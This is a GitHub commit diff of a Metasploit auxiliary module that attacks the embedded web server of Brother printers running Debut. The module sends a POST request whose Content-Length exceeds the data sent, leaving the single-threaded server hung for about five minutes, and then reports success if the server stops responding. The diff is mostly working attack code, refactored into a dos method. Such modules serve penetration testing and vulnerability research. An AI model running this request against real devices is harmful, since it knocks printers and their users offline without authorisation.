Skip to content

Commit e23e87b

Browse files
committed
bcoles fixes
1 parent bc0a08e commit e23e87b

File tree

1 file changed

+21
-20
lines changed

1 file changed

+21
-20
lines changed

modules/auxiliary/dos/http/brother_debut_dos.rb

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -31,26 +31,23 @@ def initialize(info = {})
3131

3232
def is_alive?
3333
res = send_request_raw({
34-
'method' => 'GET',
35-
'uri' => '/',
34+
'method' => 'GET',
35+
'uri' => '/',
3636
},10)
3737

3838
return !res.nil?
3939
end
4040

41-
def run
42-
41+
def dos
42+
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
43+
# for the rest of the data, which never comes, and times out after ~300 seconds.
4344
begin
44-
time = Time.new
45-
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}. Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
46-
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait
47-
# for the rest of the data, which never comes, and times out after ~300 seconds.
4845
data = Rex::Text.rand_text_alphanumeric(40)
4946
send_request_cgi({
50-
'method' => 'POST',
51-
'uri' => '/',
52-
'data' => data, #'asdasdasdasdasdasdasd',
53-
'headers' => {
47+
'method' => 'POST',
48+
'uri' => '/',
49+
'data' => data, #'asdasdasdasdasdasdasd',
50+
'headers' => {
5451
# These are kept here since they were in the original exploit, however they are not required
5552
#'Host' => 'asdasdasd',
5653
#'User-Agent' => 'asdasdasd',
@@ -61,19 +58,23 @@ def run
6158
#'Upgrade-Insecure-Requests' => 1,
6259
#'Content-Type' => 'application/x-www-form-urlencoded',
6360
'Content-Length' => data.length + rand(10) + 10 #42
64-
}
65-
})
66-
67-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
68-
print_error("Couldn't connect to #{peer}")
69-
return
61+
}
62+
})
63+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
64+
print_error("Couldn't connect to #{peer}")
7065
end
66+
end
67+
68+
def run
69+
time = Time.new
70+
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
71+
dos
7172

7273
# Check to see if it worked or not
7374
if is_alive?
74-
print_error("#{peer} - Server is still alive")
75+
print_error("#{peer} - Server is still alive.")
7576
else
76-
print_good("#{peer} - Connection Refused: Success!")
77+
print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
7778
end
7879

7980
end

0 commit comments

Comments
 (0)